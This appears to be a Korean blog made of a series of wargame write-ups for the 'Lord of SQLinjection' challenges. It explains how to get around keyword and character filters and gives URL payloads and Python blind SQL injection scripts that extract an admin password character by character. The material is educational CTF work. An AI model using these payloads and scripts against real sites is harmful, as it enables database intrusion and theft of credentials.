php 코드를 보면 이전 문제들 보다 필터가 많이 걸려있다.

공백, =, like, 0x가 필터에 걸려있기 때문에 이들을 전부 우회했다.

우선 pw를 구하는 방법은 아래와 같다.

?pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26length(pw)in(8)

공백은 %0a, like는 in구문을 사용하였고, 0x가 필터에 걸려있기 때문에 in 구문을 통해 guest를 hex로 변환하여 id가 admin인 칼럼만 추출하도록 했다.


pw 길이를 구했으니 이제 blind sqlinjection으로 pw를 추출한다.

import urllib, urllib2
url = "https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?"
flag = ""

for i in range(1, 9):
        for j in range(33, 128):
                payload = "pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26hex(mid(pw,{},1))%0ain%0a({})".format(i, hex(j)[2:])
                print url+payload
                req = urllib2.Request(url+payload)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)




'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection assassin  (0) 2017.08.04
Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30

문제를 보면 pw, no 파라미터가 있다. 힌트로 나온 php 코드를 보면 pw는 싱글쿼터에 싸여 있고 싱글쿼터는 필터링 처리가 되어있어 공격하기 어려워 보인다. 하지만 no는 쿼터로 싸여 있지 않다. 이 부분에서 공격이 가능하다.

먼저 pw의 길이를 구해야 한다. pw의 길이는 아래와 같이 구한다.

?pw=1&no=1 or id like 0x61646d696e and length(pw) like 8


id의 값을 admin을 하지 않은 이유는 no 파라미터를 통해 들어간 값은 싱글쿼터에 싸여있지 않고, admin은 문자열이기 때문에 mysql에서 문자열은 싱글쿼터에 싸여 있어야지 쿼리로 인식된다. 

따라서 admin을 hex로 변환한 0x61646d696e를 사용했다.


pw의 길이를 구했으니 pw의 값을 blind sql injection을 통해 알아내보자.

아래는 blind sql injection을 위한 코드다.

import urllib, urllib2
url = "http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?"
flag = ""

for i in range(1, 9):
        for j in range(31, 128):
                dat = {'pw': '1',
                       'no': "1 or id like 0x61646d696e and ord(mid(pw,{},1)) like {}".format(i, j)}
                dat = urllib.urlencode(dat)
                print url+dat
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25

인젝션을 통해 admin의 비밀번호를 알아내어 pw에 넣으면 풀리는 문제다. =이 필터에 걸려 있기 때문에 like를 사용하여 풀 수 있다.

먼저 비밀번호의 길이를 구해야 한다. 비밀번호의 길이는 아래와 같이 구했다.

?pw=1%27||ascii(id)-103%26%26length(pw)%20like%20%278
pw가 8자리라는 것을 알았다. 이젠 blind sql injection을 통해 비밀번호를 따면 된다.

import urllib, urllib2

flag = ""
for i in range(1,9):
        for j in range(33, 128):
                url = "http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?"
                url += "pw=1%27||ascii(id)-103%26%26ascii(mid(pw,{},1))%20like%20%27{}".format(i, j)
                print url 
                req = urllib2.Request(url)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=d4cc8c809fqewr27de6749e5eaa6r3e1f1500957474; PHPSESSID=498O4fb9opfr78vauqu88eq611')

                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+] Find! : " + chr(j)
                        flag += chr(j)
                        break
print "[+] Find Flag! : " + flag


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection Troll  (0) 2017.07.25


문제에 제시된 쿼리를 보면 pw 다음에 and 1=0이 나온다. 
pw를 제대로 입력해도 false가 나오게 된다. 
그래서 필터를 보기 위해 php 코드를 보면 싱글쿼터는 막히지 않았다. 그래서 그냥 간단하게 pw에 ' or id='admin#을 해주면 문제가 풀린다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection Troll  (0) 2017.07.25
Lord of SQLinjection orge  (0) 2017.07.25


전 문제와 유사하다. 하지만 이번엔 str_replace함수를 통해 admin을 없는 문자로 치환해주는 방법으로 admin에 필터를 걸었다.

하지만 이것도 마찬가지로 대소문자를 구분하지 않기때문에 간단하게 대문자로 집어넣으면 injection이 된다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection Troll  (0) 2017.07.25
Lord of SQLinjection orge  (0) 2017.07.25
Lord of SQLinjection Darkelf  (0) 2017.07.25

문제 필터를 보면 싱글쿼터를 preg_match로 막고 있고, admin이란 문자를 ereg함수를 통해 정규표현식으로 검사한다.

이 문제는 왜 admin만 ereg함수를 통해 검사하는지 고민하다가 preg_match에서는 대소문자도 구분하도록 하였으나 ereg에선 대소문자를 구분하지 않는다 따라서 이 부분에서 취약점이 발생한다. 

mysql에선 대소문자를 구분하지 않으므로 admin에서 한글자만 대문자로 바꿔도 필터를 우회하여 injection을 할 수 있다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection orge  (0) 2017.07.25
Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25


pw 길이 : %27||ascii(id)-103%26%26length(pw)=8%23

tip : &는 get으로 보낼때 urlencoding을 하지 않으면 파라미터 연산자인줄 알고 &뒤에 온 값을 파라미터값으로 인식한다.


import urllib, urllib2

url = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw="
result = ""
for i in range(1, 9):
        for j in range(33,127):
                payload = "%27||ascii(id)-103%26%26if(ascii(substr(pw,{},1))={},1,1=2)%23".format(i, j)
                testurl = url + payload
                print testurl
                req = urllib2.Request(testurl)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=d4cc8c809fb82627de6749e5eaac73e1f1500957474; PHPSESSID=498v4fb9opfr78vauqu83eq635')
                res = urllib2.urlopen(req).read()
                if "Hello admin" in res:
                        print "[*]Find!"
                        result += chr(j)
                        break
print "[+]FIND FLAG! : {}".format(result)

'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection Troll  (0) 2017.07.25
Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25
Lord of SQLinjection orc  (0) 2017.07.25

필터링을 보면 or과 and가 막혀있다. 하지만 전 문제와 마찬가지로 or, and 대신 | 와 &를 사용하면 가볍게 필터를 우회할 수 있다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection Troll  (0) 2017.07.25
Lord of SQLinjection orge  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25
Lord of SQLinjection orc  (0) 2017.07.25
Lord of SQLinjection goblin  (0) 2017.07.25

필터를 확인해보면

공백이 필터에 걸렸다. 그래서 or을 | (파이프)로 처리하면 공백 없이 문제가 풀린다.





'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection orge  (0) 2017.07.25
Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinjection orc  (0) 2017.07.25
Lord of SQLinjection goblin  (0) 2017.07.25
Lord of SQLinjection cobolt  (0) 2017.07.25

pw 길이 찾기 : 123%27%20or%20ascii(id)-103%20and%20if(length(pw)=8,1,1=2)%23

플래그는 8자리이며 blind sqlinjection으로 풀었다.


import urllib, urllib2

url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="
result = ""
for i in range(1, 16):
        for j in range(33,127):
                payload = "123%27%20or%20ascii(id)-103%20and%20if(ascii(substr(pw,{},1))={},1,1=2)%23".format(i, j)
                testurl = url + payload
                print testurl
                req = urllib2.Request(testurl)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=d4cc8c809fb82627de6749e5eaac73e1f1500957474; PHPSESSID=498v4fb9opfr78vauqu83eq635')
                res = urllib2.urlopen(req).read()
                if "Hello admin" in res:
                        print "[*]Find!"
                        result += chr(j)
                        break
print "[+]FIND FLAG! : {}".format(result)



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25
Lord of SQLinjection goblin  (0) 2017.07.25
Lord of SQLinjection cobolt  (0) 2017.07.25
Lord of SQLinjection Gremlin  (0) 2017.07.25

+ Recent posts